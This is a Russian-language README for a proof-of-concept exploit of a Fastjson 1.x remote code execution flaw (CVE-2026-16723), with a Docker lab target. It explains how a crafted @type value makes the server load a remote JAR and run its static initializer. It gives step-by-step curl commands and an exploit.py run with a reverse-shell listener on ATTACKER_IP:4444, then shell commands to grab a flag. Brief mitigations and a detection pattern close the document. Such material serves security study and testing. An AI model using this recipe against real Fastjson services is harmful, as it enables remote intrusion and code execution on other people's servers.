
PoC-эксплойт для Fastjson RCE (CVE-2026-16723) с автоматической генерацией JAR-пейлоада и его доставкой через специально сформированный JSON в обход ограничений AutoType.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 — это уязвимость удаленного выполнения кода (RCE) в Fastjson 1.x (1.2.68 – 1.2.83). Когда Fastjson разбирает JSON, контролируемый атакующим, сформированное значение
@typeпревращается в поиск классового ресурса внутриcheckAutoType. В исполняемом fat-JAR приложения Spring Boot загрузчик классов разрешает это имя как URLjar:http://и загружает удаленный JAR (SSRF), а затем загружает класс с аннотацией@JSONType, даже если AutoType отключен. Поскольку современный JDK / Tomcat отвергает бинарное имяjar:http://, надежный вариант помещает JAR в кэш JVM и повторно считывает его черезjar:file:/proc/self/fd/N, благодаря чему класс определяется и выполняется его статический инициализатор, что приводит к выполнению кода. AutoType остается отключенным, и никакой classpath-gadget не требуется.
| Категория | Версия |
|---|---|
| Уязвимые | Fastjson 1.2.68 ≤ версия ≤ 1.2.83 |
| Исправленные | Перейти на Fastjson 2.x (исправлений для 1.x не выпущено) |
Лабораторная цель — публичный интернет-магазин (Northwind Store), чей поисковый API связывает тело запроса с Fastjson. Всё настроено по умолчанию в Fastjson: SafeMode выключен, AutoType выключен, упаковано как Spring Boot fat-JAR.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Предусловие | Состояние в этой лаборатории |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot исполняемый fat-JAR | да |
| Путь неаутентифицированного разбора JSON | POST /api/products/search |
| SafeMode / AutoType | по умолчанию (оба выключены) |
Атакующий и цель работают в одной Docker bridge-сети, поэтому цель обращается к атакующему через исходящее соединение (дополнительный порт не публикуется).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py собирает payload-JAR, раздает его, запускает слушатель и выводит тело запроса. Требуется только обратный адрес.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Вставьте выведенное тело в search endpoint (Burp Repeater или curl) и отправьте. Поисковый запрос — обычная функция; изменено только его JSON-тело.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Код выполняется от имени сервисного аккаунта. Получите флаг через полученную оболочку:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type, содержащие шаблоны jar:http или jar:file / /proc/self/fd